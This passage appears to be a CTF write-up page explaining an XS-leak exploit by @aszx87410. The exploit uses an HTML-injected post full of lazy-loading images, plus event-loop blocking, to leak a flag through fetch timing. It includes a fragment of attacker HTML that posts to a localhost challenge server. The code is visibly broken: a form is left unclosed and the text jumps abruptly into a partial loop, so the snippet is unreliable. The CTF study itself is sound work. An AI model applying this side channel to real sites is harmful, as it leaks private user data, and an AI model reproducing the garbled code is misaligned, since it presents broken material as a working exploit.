In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mixes the **lazy image side channel** technique through a HTML injection with kind of **event loop blocking technique** to leak chars.
This is a **different exploit for the CTF chall** that was already commented in the following page. take a look for more info about the challenge:
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
The idea behind this exploit is:
* The posts are loaded alphabetically
* An **attacker** can **inject** a **post** starting with **"A"**, then some **HTML tag** (like a big **`<canvas`**) will fulfil most of the **screen** and some final **`<img lazy` tags** to load things.
* If instead of an "A" the **attacker injects the same post but starting with a "z".** The **post** with the **flag** will appear **first**, then the **injected** **post** will appear with the initial "z" and the **big** **canvas**. Because the post with the flag appeared first, the first canvas will occupy all the screen and the final **`<img lazy`** tags injected **won't be seen** in the screen, so they **won't be loaded**.
* Then, **while** the bot is **accessing** the page, the **attacker** will **send fetch requests**.&#x20;
* If the **images** injected in the post are being **loaded**, these **fetch** requests will take **longer**, so the attacker knows that the **post is before the flag** (alphabetically).
* If the the **fetch** requests are **fast**, it means that the **post** is **alphabetically** **after** the flag.
Let's check the code:
```html
<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">

for(let i=R; i>=L; i--) {
let c = charset[i]

const found = await testChar(flag + c)
